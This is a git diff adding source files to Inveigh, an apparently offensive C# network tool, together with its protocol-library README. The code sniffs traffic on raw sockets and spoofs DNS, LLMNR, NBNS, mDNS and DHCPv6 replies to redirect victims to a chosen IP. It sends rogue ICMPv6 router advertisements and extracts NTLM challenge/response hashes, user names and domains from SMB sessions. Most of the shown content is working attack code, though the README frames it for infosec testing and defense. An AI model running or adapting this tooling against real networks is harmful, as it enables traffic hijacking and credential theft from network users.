+ for (int i = name.IndexOf('.'); i > -1; i = name.IndexOf('.', i + 1))
+ {
+ indexList.Add(i);
+ }
+
+ using (MemoryStream nameMemoryStream = new MemoryStream())
+ {
+ string nameSection = "";
+ int nameStart = 0;
+
+ if (indexList.Count > 0)
+ {
+ int nameEnd = 0;
+
+ foreach (int index in indexList)
+ {
+ nameEnd = index - nameStart;
+ nameMemoryStream.Write(BitConverter.GetBytes(nameEnd), 0, 1);
+ nameSection = name.Substring(nameStart, nameEnd);
+ nameMemoryStream.Write(Encoding.UTF8.GetBytes(nameSection), 0, nameSection.Length);
+ nameStart = index + 1;
+ }
+
+ }
+
+ nameSection = name.Substring(nameStart);
+ nameMemoryStream.Write(BitConverter.GetBytes(nameSection.Length), 0, 1);
+ nameMemoryStream.Write(Encoding.UTF8.GetBytes(nameSection), 0, nameSection.Length);
+
+ if (addByte)
+ {
+ nameMemoryStream.Write((new byte[1] { 0x00 }), 0, 1);
+ }
+
+ return nameMemoryStream.ToArray();
+ }
+
+ }
+
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/README.md b/Inveigh/Protocols/Quiddity/README.md
new file mode 100644
index 0000000..13f604f
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/README.md
@@ -0,0 +1,17 @@
+# Quiddity# Quiddity
+
+Quiddity is a work in progress C# miscellaneous protocol library meant for infosec testing/defense. The library contains classes for packet segment structures, protocol functions, and listeners. This library is currently being developed as part of Inveigh and other, unreleased projects. It's likely to go through major changes.
+
+## Example Usage
+
+### LLMNR Listener
+
+```
+LLMNRListener llmnrListener = new LLMNRListener();
+llmnrListener.Start(listenerIP, replyIPv4, replyIPv6);
+```
+### Parse SMB2 Header
+```
+SMB2Header smb2Header = new SMB2Header(byteArray);
+Console.WriteLine(smb2Header.Command); // output SMB2 command type of parsed header
+``` \ No newline at end of file
diff --git a/Inveigh/Sniffer/Sniffer.cs b/Inveigh/Sniffer/Sniffer.cs
new file mode 100644
index 0000000..36106cf
--- /dev/null
+++ b/Inveigh/Sniffer/Sniffer.cs
@@ -0,0 +1,713 @@
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.IO;
+using Quiddity.LLMNR;
+using Quiddity.Support;
+using Quiddity.UDP;
+using Quiddity.NetBIOS;
+using Quiddity.MDNS;
+using Quiddity.DNS;
+using Quiddity.SMB;
+using Quiddity.TCP;
+using Quiddity.IP;
+using Quiddity.SMB2;
+using Quiddity.NTLM;
+using Quiddity.DHCPv6;
+using System.Threading;
+using System.Text;
+
+namespace Inveigh
+{
+ class Sniffer
+ {
+ public static void Start(string protocol, string snifferIP, bool isIPV6)
+ {
+ byte[] snifferIn = new byte[4] { 1, 0, 0, 0 };
+ byte[] snifferOut = new byte[4] { 1, 0, 0, 0 };
+ byte[] snifferData = new byte[0];
+ byte[] snifferBuffer = new byte[1500];
+ Socket snifferSocket;
+ IPEndPoint snifferIPEndPoint;
+ EndPoint snifferEndPoint;
+ AddressFamily addressFamily = AddressFamily.InterNetwork;
+
+ if (isIPV6)
+ {
+ snifferEndPoint = new IPEndPoint(IPAddress.IPv6Any, 0);
+ addressFamily = AddressFamily.InterNetworkV6;
+ }
+ else
+ {
+ snifferEndPoint = new IPEndPoint(IPAddress.Any, 0);
+ }
+
+ try
+ {
+
+ if (!isIPV6)
+ {
+ snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.IP);
+ snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
+ }
+ else
+ {
+
+ if (String.Equals(protocol, "UDP"))
+ {
+ snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.Udp);
+ }
+ else
+ {
+ snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.IP);
+ snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.PacketInformation, true);
+ }
+
+ }
+
+ snifferIPEndPoint = new IPEndPoint(IPAddress.Parse(snifferIP), 0);
+ snifferSocket.ReceiveBufferSize = 4096;
+ snifferSocket.Bind(snifferIPEndPoint);
+ snifferSocket.IOControl(IOControlCode.ReceiveAll, snifferIn, snifferOut);
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] Error starting packet sniffer, check if shell has elevated privilege or set -Sniffer N for listener only mode.", Output.Timestamp()));
+ Thread.Sleep(10);
+ Program.isRunning = false;
+ }
+ else
+ {
+ Console.WriteLine(ex.Message);
+ }
+
+ throw;
+ }
+
+ int packetLength;
+
+ while (Program.isRunning)
+ {
+
+ try
+ {
+ IPPacketInformation packetInformation = new IPPacketInformation();
+ SocketFlags socketFlags = SocketFlags.None;
+
+ try
+ {
+ packetLength = snifferSocket.ReceiveMessageFrom(snifferBuffer, 0, snifferBuffer.Length, ref socketFlags, ref snifferEndPoint, out packetInformation);
+ snifferData = new byte[packetLength];
+ Buffer.BlockCopy(snifferBuffer, 0, snifferData, 0, packetLength);
+ }
+ catch
+ {
+ packetLength = 0;
+ }
+
+ if (packetLength > 0)
+ {
+ IPHeader ipHeader = new IPHeader();
+ MemoryStream memoryStream = new MemoryStream(snifferData, 0, packetLength);
+ BinaryReader binaryReader = new BinaryReader(memoryStream);
+ IPAddress sourceIPAddress;
+ int protocolNumber;
+ string sourceIP = "";
+ string destinationIP = "";
+ int ipHeaderLength = 0; // no header for IPv6
+
+ if (!isIPV6)
+ {
+ ipHeader.ReadBytes(snifferData, 0);
+ ipHeaderLength = ipHeader.IHL;
+ byte versionHL = binaryReader.ReadByte();
+ protocolNumber = ipHeader.Protocol;
+ sourceIP = ipHeader.SourceAddress.ToString();
+ destinationIP = ipHeader.DestinationAddress.ToString();
+ }
+ else
+ {
+ sourceIPAddress = (snifferEndPoint as IPEndPoint).Address;
+ sourceIP = sourceIPAddress.ToString();
+ destinationIP = packetInformation.Address.ToString();
+
+ if (String.Equals(protocol, "UDP"))
+ {
+ protocolNumber = 17;
+ }
+ else
+ {
+ protocolNumber = 6; // this doesn't keep UDP traffic out of TCP section
+ }
+
+ }
+
+ switch (protocolNumber)
+ {
+ case 6:
+ TCPHeader tcpHeader = new TCPHeader();
+ bool isTCP = true; // IPv6 workaround
+
+ try
+ {
+ tcpHeader.ReadBytes(snifferData, ipHeaderLength);
+
+ if (tcpHeader.SYN && !tcpHeader.ACK && snifferIP.Equals(destinationIP))
+ {
+ Output.Queue(String.Format("[.] [{0}] TCP({1}) SYN packet from {2}:{3}", Output.Timestamp(), tcpHeader.DestinationPort, sourceIP, tcpHeader.SourcePort));
+ }
+
+ }
+ catch
+ {
+ isTCP = false;
+ }
+
+ string tcpDestinationPort = tcpHeader.DestinationPort.ToString();
+ string tcpSourcePort = tcpHeader.SourcePort.ToString();
+
+ if (tcpHeader.DataOffset >= 20 && isTCP)
+ {
+ byte[] tcpPayload = new byte[0];
+
+ try
+ {
+ tcpPayload = new byte[packetLength - tcpHeader.DataOffset - ipHeaderLength];
+ }
+ catch
+ {
+ isTCP = false;
+ }
+
+ if (tcpPayload.Length > 0 && isTCP)
+ {
+
+ Buffer.BlockCopy(snifferData, ipHeaderLength + tcpHeader.DataOffset, tcpPayload, 0, tcpPayload.Length);
+
+ switch (tcpHeader.DestinationPort)
+ {
+ case 139:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+
+ case 445:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+ }
+
+ switch (tcpHeader.SourcePort)
+ {
+ case 139:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+
+ case 445:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+ }
+
+ }
+ }
+
+ break;
+
+ case 17:
+ UDPHeader udpHeader = new UDPHeader(snifferData, ipHeaderLength);
+ byte[] udpPayload = new byte[udpHeader.Length - 8];
+ Buffer.BlockCopy(snifferData, ipHeaderLength + 8, udpPayload, 0, udpPayload.Length);
+
+ switch (udpHeader.DestinationPort)
+ {
+
+ case 53:
+ {
+
+ if (snifferIP.StartsWith(destinationIP))
+ {
+ ProcessDNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 53);
+ }
+
+ }
+ break;
+
+ case 137:
+ {
+
+ if (!isIPV6)
+ {
+ ProcessNBNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5355);
+ }
+
+ }
+ break;
+
+ case 547:
+ {
+
+ if (isIPV6)
+ {
+ ProcessDHCPv6Request(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 547);
+ }
+
+ }
+ break;
+
+ case 5353:
+ {
+ ProcessMDNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5353);
+ }
+ break;
+
+ case 5355:
+ {
+ ProcessLLMNRRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5355);
+ }
+ break;
+
+ }
+ break;
+ }
+
+ }
+
+ }
+ catch (Exception ex)
+ {
+ Output.Queue(String.Format("[-] [{0}] Packet sniffing error detected - {1}", Output.Timestamp(), ex.ToString()));
+ }
+
+ }
+
+ }
+
+ internal static void ProcessDNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+
+ DNSPacket packet = new DNSPacket(data)
+ {
+ Host = Program.argDNSHost,
+ TTL = uint.Parse(Program.argDNSTTL)
+ };
+
+ DNSListener listener = new DNSListener(UInt32.Parse(Program.argDNSTTL));
+
+ if(!packet.Header.IsDynamicUpdateRequest())
+ {
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argDNSTTL), Program.dnsSerial, Program.argSpooferIP, Program.argSpooferIPv6);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ Output.SpooferOutput("DNS", packet.Question.Type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+ else
+ {
+ byte[] flags = new byte[2] { 0xa8, 0x05 };
+ byte[] dnsPayload = new byte[data.Length - 2];
+ System.Buffer.BlockCopy(data, 2, dnsPayload, 0, dnsPayload.Length);
+ MemoryStream dnsMemoryStream = new MemoryStream();
+ dnsMemoryStream.Write(data, 0, data.Length);
+ dnsMemoryStream.Position = 2;
+ dnsMemoryStream.Write(flags, 0, 2);
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, dnsMemoryStream.ToArray(), false);
+
+ }
+
+
+ }
+
+ internal static void ProcessLLMNRRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ LLMNRPacket packet = new LLMNRPacket(data);
+ LLMNRListener listener = new LLMNRListener();
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argLLMNRTTL), Program.argSpooferIP, Program.argSpooferIPv6);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ Output.SpooferOutput("LLMNR", packet.Question.Type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessNBNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ NetBIOSNSPacket packet = new NetBIOSNSPacket(data);
+ NBNSListener listener = new NBNSListener();
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argNBNSTTL), Program.argSpooferIP);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ Output.SpooferOutput("NBNS", packet.Question.Type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessMDNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ MDNSPacket packet = new MDNSPacket(data);
+ MDNSListener listener = new MDNSListener();
+ string destinationIP = clientIP;
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, clientIP, out string message))
+ {
+
+ if (packet.Question.QuestionType.Equals("QM") && !Program.enabledMDNSUnicast && string.Equals(IPAddress.Parse(clientIP).AddressFamily.ToString(), "InterNetwork"))
+ {
+ destinationIP = "224.0.0.251";
+ }
+ else if (packet.Question.QuestionType.Equals("QM") && !Program.enabledMDNSUnicast && string.Equals(IPAddress.Parse(clientIP).AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ destinationIP = "ff02::fb";
+ }
+
+ byte[] buffer = packet.GetBytes(uint.Parse(Program.argMDNSTTL), Program.argSpooferIP, Program.argSpooferIPv6);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(destinationIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ string type = string.Concat(packet.Question.QuestionType, ")(", packet.Question.Type);
+ Output.SpooferOutput("mDNS", type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessDHCPv6Request(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ DHCPv6Packet packet = new DHCPv6Packet(data);
+ DHCPv6Listener listener = new DHCPv6Listener();
+
+ if (packet.Message?.MsgType == 1 || packet.Message?.MsgType == 3 || packet.Message?.MsgType == 5)
+ {
+ bool isMicrosoft = false;
+
+ if (packet.Option16?.EnterpriseNumber == 311)
+ {
+ isMicrosoft = true;
+ }
+
+ byte msgType = 0;
+ string leaseIP = "";
+
+ switch (packet.Message.MsgType)
+ {
+
+ case 1:
+ msgType = 2;
+ break;
+
+ case 3:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+
+ case 5:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+ }
+
+ DHCPv6DUIDLL duid = new DHCPv6DUIDLL(packet.Option1.DUID);
+ byte[] clientMACData = new DHCPv6DUIDLL(packet.Option1.DUID).LinkLayerAddress;
+
+ if (duid.DUIDType == 1)
+ {
+ clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress;
+ }
+
+ string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":");
+ string clientHostName = "";
+
+ if (!String.IsNullOrEmpty(packet.Option39?.DomainName))
+ {
+ clientHostName = packet.Option39.DomainName;
+ }
+
+ if (listener.Check(clientMAC, clientHostName, Program.argMAC, isMicrosoft, out string message))
+ {
+
+ if (msgType == 2)
+ {
+ leaseIP = "fe80::" + Program.dhcpv6Random + ":" + Program.dhcpv6IPIndex;
+ Program.dhcpv6IPIndex++;
+ }
+
+ byte[] buffer = new DHCPv6Packet().GetBytes(msgType, leaseIP, Program.argMAC, Program.argSpooferIPv6, Program.argDNSSuffix, uint.Parse(Program.argDHCPv6TTL), packet);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+ }
+
+ Output.DHCPv6Output(packet.Message.MsgType, leaseIP, clientIP, clientMAC, clientHostName, message);
+ }
+
+ }
+
+ internal static void ProcessSMB(byte[] data, string clientIP, string listenerIP, string clientPort, string listenerPort)
+ {
+
+ if (data.Length >= 4)
+ {
+ NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(data);
+ SMBHeader smbHeader = new SMBHeader();
+ SMB2Header smb2Header = new SMB2Header();
+ int sessionServiceIndex = 0;
+
+ if (requestNetBIOSSessionService.Type == 0)
+ {
+ sessionServiceIndex = 4;
+ }
+
+ SMBHelper helper = new SMBHelper(data, sessionServiceIndex);
+ string session;
+ string challenge;
+
+ if (helper.Protocol[0] == 0xff)
+ {
+ smbHeader.ReadBytes(data, sessionServiceIndex);
+ string flags = Convert.ToString(smbHeader.Flags, 2).PadLeft(8, '0');
+
+ switch (smbHeader.Command)
+ {
+ case 0x72:
+ {
+
+ if (String.Equals(flags.Substring(0, 1), "0"))
+ {
+ Output.Queue(String.Format("[.] [{0}] SMB1({1}) negotiation request detected from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort));
+ }
+
+ }
+
+ break;
+
+ case 0x73:
+ {
+
+ if (String.Equals(flags.Substring(0, 1), "1"))
+ {
+ SMBCOMSessionSetupAndXResponse smbCOMSessionSetupAndXResponse = new SMBCOMSessionSetupAndXResponse(data, 32 + sessionServiceIndex);
+
+ if (smbCOMSessionSetupAndXResponse.SecurityBlobLength > 0)
+ {
+
+ if (!BitConverter.ToString(smbCOMSessionSetupAndXResponse.SecurityBlob).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smbCOMSessionSetupAndXResponse.SecurityBlob);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 2)
+ {
+ NTLMChallenge ntlmChallenge = new NTLMChallenge(smbCOMSessionSetupAndXResponse.SecurityBlob);
+ session = String.Concat(listenerIP, ":", listenerPort);
+ challenge = BitConverter.ToString(ntlmChallenge.ServerChallenge).Replace("-", "");
+ Program.smbSessionTable[session] = challenge;
+ Output.Queue(string.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), clientPort, challenge, clientIP, listenerPort));
+ }
+
+ }
+
+ }
+ else
+ {
+ Output.Queue(string.Format("[.] [{0}] SMB({1}) Kerberos authentication from {2}:{3}", Output.Timestamp(), clientPort, clientIP, listenerPort));
+ }
+
+ }
+
+ }
+ else
+ {
+ SMBCOMSessionSetupAndXRequest smbCOMSessionSetupAndXRequest = new SMBCOMSessionSetupAndXRequest(data, 32 + sessionServiceIndex);
+
+ if (smbCOMSessionSetupAndXRequest.SecurityBlobLength > 0)
+ {
+
+ if (!BitConverter.ToString(smbCOMSessionSetupAndXRequest.SecurityBlob).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smbCOMSessionSetupAndXRequest.SecurityBlob);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(smbCOMSessionSetupAndXRequest.SecurityBlob);
+ session = String.Concat(clientIP, ":", clientPort);
+ challenge = Program.smbSessionTable[session]?.ToString();
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+ break;
+
+ }
+
+ }
+ else if (helper.Protocol[0] == 0xfe)
+ {
+ smb2Header.ReadBytes(data, sessionServiceIndex);
+ string flags = Convert.ToString(BitConverter.ToUInt16(smb2Header.Flags, 0), 2).PadLeft(smb2Header.Flags.Length * 8, '0');
+
+ switch (smb2Header.Command)
+ {
+
+ case 0:
+ {
+
+ if (String.Equals(flags.Substring(31, 1), "0"))
+ {
+ Output.Queue(String.Format("[.] [{0}] SMB2+({1}) negotiation request detected from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort));
+ }
+
+ }
+ break;
+
+ case 1:
+ {
+
+ if (String.Equals(flags.Substring(31, 1), "1"))
+ {
+ SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(data, 64 + sessionServiceIndex);
+
+ if (smb2SessionSetupResponse.SecurityBufferLength > 0)
+ {
+
+ if (!BitConverter.ToString(smb2SessionSetupResponse.Buffer).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smb2SessionSetupResponse.Buffer);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 2)
+ {
+ NTLMChallenge ntlmChallenge = new NTLMChallenge(smb2SessionSetupResponse.Buffer);
+ session = BitConverter.ToString(smb2Header.SessionId).Replace("-", "");
+ challenge = BitConverter.ToString(ntlmChallenge.ServerChallenge).Replace("-", "");
+ Program.smbSessionTable[session] = challenge;
+ Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), clientPort, challenge, clientIP, listenerPort));
+ }
+
+ }
+
+ }
+ else
+ {
+ Output.Queue(string.Format("[.] [{0}] SMB({1}) Kerberos authentication from {2}:{3}", Output.Timestamp(), clientPort, clientIP, listenerPort));
+ }
+
+ }
+ }
+ else
+ {
+ SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(data, 64 + sessionServiceIndex);
+
+ if (smb2SessionSetupRequest.SecurityBufferLength > 0)
+ {
+
+ if (!BitConverter.ToString(smb2SessionSetupRequest.Buffer).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smb2SessionSetupRequest.Buffer);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer);
+ session = BitConverter.ToString(smb2Header.SessionId).Replace("-", "");
+ challenge = Program.smbSessionTable[session]?.ToString();
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+ }
+ break;
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Sockets/ICMPv6Socket.cs b/Inveigh/Sockets/ICMPv6Socket.cs
new file mode 100644
index 0000000..d4f7461
--- /dev/null
+++ b/Inveigh/Sockets/ICMPv6Socket.cs
@@ -0,0 +1,105 @@
+using Quiddity.ICMPv6;
+using Quiddity.Support;
+using System;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Threading;
+
+namespace Inveigh
+{
+ class ICMPv6Socket
+ {
+ internal void Start()
+ {
+ Program.icmpv6Interval *= 1000;
+ string responseMessage = " ";
+ byte[] spooferIPv6Data = IPAddress.Parse(Program.argSpooferIPv6).GetAddressBytes();
+
+ while (Program.isRunning && Program.enabledICMPv6)
+ {
+
+ ICMPv6RouterAdvertisement routerAdvertisement = new ICMPv6RouterAdvertisement
+ {
+ RouterLifeTime = ushort.Parse(Program.argICMPv6TTL)
+ };
+
+ if (Program.enabledDHCPv6)
+ {
+ routerAdvertisement.Flags = 0xc8;
+ }
+ else if (!string.IsNullOrEmpty(Program.argDNSSuffix))
+ {
+ routerAdvertisement.Flags = 0x08;
+ responseMessage = " with DNS Suffix ";
+ byte[] dnsSearchListData = Utilities.GetDNSNameBytes(Program.argDNSSuffix, true);
+ int length = (int)Math.Ceiling((double)(dnsSearchListData.Length + 8) / 8);
+ int lengthAdjusted = length * 8 - 8;
+ byte[] dnsSearchListDataAdjusted = new byte[lengthAdjusted];
+ Buffer.BlockCopy(dnsSearchListData, 0, dnsSearchListDataAdjusted, 0, dnsSearchListData.Length);
+
+ ICMPv6DNSSearchList dnsSearchList = new ICMPv6DNSSearchList
+ {
+ Length = (byte)length,
+ Lifetime = uint.Parse(Program.argICMPv6TTL),
+ DomainNames = dnsSearchListDataAdjusted
+ };
+
+ routerAdvertisement.Options = dnsSearchList.GetBytes();
+ }
+ else
+ {
+ routerAdvertisement.Flags = 0x08;
+ responseMessage = " with DNSv6 ";
+
+ ICMPv6RecursiveDNS recursiveDNS = new ICMPv6RecursiveDNS
+ {
+ Length = 3,
+ Lifetime = uint.Parse(Program.argICMPv6TTL),
+ RecursiveDNSServers = spooferIPv6Data
+ };
+
+ routerAdvertisement.Options = recursiveDNS.GetBytes();
+ }
+
+ try
+ {
+ byte[] sendBuffer = routerAdvertisement.GetBytes();
+ Socket icmpv6SendSocket = new Socket(AddressFamily.InterNetworkV6, SocketType.Raw, ProtocolType.IcmpV6);
+ icmpv6SendSocket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.MulticastInterface, Program.networkInterfaceIndexIPv6);
+ icmpv6SendSocket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.MulticastTimeToLive, 255);
+ icmpv6SendSocket.SendBufferSize = sendBuffer.Length;
+ IPEndPoint icmpv6EndPoint = new IPEndPoint(IPAddress.Parse("ff02::1"), 0);
+ icmpv6SendSocket.SendTo(sendBuffer.ToArray(), sendBuffer.Length, SocketFlags.None, icmpv6EndPoint);
+ icmpv6SendSocket.Close();
+ Output.Queue(String.Format("[+] [{0}] ICMPv6 router advertisement{1}sent to [ff02::1]", Output.Timestamp(), responseMessage));
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] [{0}] ICMPv6 router advertisment failed [elevated access required]", Output.Timestamp()));
+ Program.enabledICMPv6 = false;
+ }
+ else
+ {
+ Console.WriteLine(ex);
+ }
+
+ }
+
+ if (Program.icmpv6Interval > 0)
+ {
+ Thread.Sleep(Program.icmpv6Interval);
+ }
+ else
+ {
+ break;
+ }
+
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Sockets/UDPSocket.cs b/Inveigh/Sockets/UDPSocket.cs
new file mode 100644
index 0000000..aaaf19d
--- /dev/null
+++ b/Inveigh/Sockets/UDPSocket.cs
@@ -0,0 +1,53 @@
+using Quiddity.Support;
+using Quiddity.UDP;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Inveigh
+{
+ class UDPSocket
+ {
+ public static void SendTo(string clientIP, int clientPort, string sourceIP, int sourcePort, byte[] buffer, bool isIPv6)
+ {
+ IPAddress clientIPAddress = IPAddress.Parse(clientIP);
+ AddressFamily addressFamily = AddressFamily.InterNetwork;
+ SocketOptionLevel socketOptionLevel = SocketOptionLevel.IP;
+ IPAddress sourceIPAddress = IPAddress.Parse(sourceIP);
+ int networkInterfaceIndex = Program.networkInterfaceIndexIPv4;
+
+ UDPHeader header = new UDPHeader
+ {
+ SourcePort = (ushort)sourcePort,
+ DestinationPort = (ushort)clientPort,
+ Length = (ushort)(buffer.Length + 8)
+ };
+
+ if (String.Equals(clientIPAddress.AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ sourceIPAddress = IPAddress.Parse(sourceIP);
+ networkInterfaceIndex = Program.networkInterfaceIndexIPv6;
+ addressFamily = AddressFamily.InterNetworkV6;
+ socketOptionLevel = SocketOptionLevel.IPv6;
+ byte[] checksumBuffer = Utilities.BlockCopy(header.GetBytes(), buffer);
+ header.IPv6Checksum(checksumBuffer, clientIP, sourceIPAddress.ToString(), 17);
+ }
+
+ buffer = Utilities.BlockCopy(header.GetBytes(), buffer);
+
+ Socket socket = new Socket(addressFamily, SocketType.Raw, ProtocolType.Udp)
+ {
+ SendBufferSize = 1024
+ };
+
+ socket.SetSocketOption(socketOptionLevel, SocketOptionName.MulticastInterface, networkInterfaceIndex);
+ IPEndPoint ipEndPoint = new IPEndPoint(sourceIPAddress, sourcePort);
+ socket.Bind(ipEndPoint);
+ IPEndPoint clientEndpoint = new IPEndPoint(clientIPAddress, clientPort);
+ socket.SendTo(buffer, clientEndpoint);
+ socket.Close();
+ }
+
+ }
+
+}
diff --git a/Inveigh/Support/Arguments.cs b/Inveigh/Support/Arguments.cs
new file mode 100644
index 0000000..20cdc27
--- /dev/null
+++ b/Inveigh/Support/Arguments.cs
@@ -0,0 +1,621 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.NetworkInformation;
+using System.Net.Sockets;
+using System.Text.RegularExpressions;
+
+namespace Inveigh
+{
+ class Arguments
+ {
+ public static void ValidateArguments()
+ {
+
+ string[] ynArguments =
+ {
+ nameof(Program.argConsoleUnique),
+ nameof(Program.argDHCPv6),
+ nameof(Program.argDNS),
+ nameof(Program.argFileOutput),
+ nameof(Program.argFileUnique),
+ nameof(Program.argHTTP),
+ nameof(Program.argHTTPS),
+ nameof(Program.argICMPv6),
+ nameof(Program.argInspect),
+ nameof(Program.argIPv4),
+ nameof(Program.argIPv6),
+ nameof(Program.argLDAP),
+ nameof(Program.argLocal),
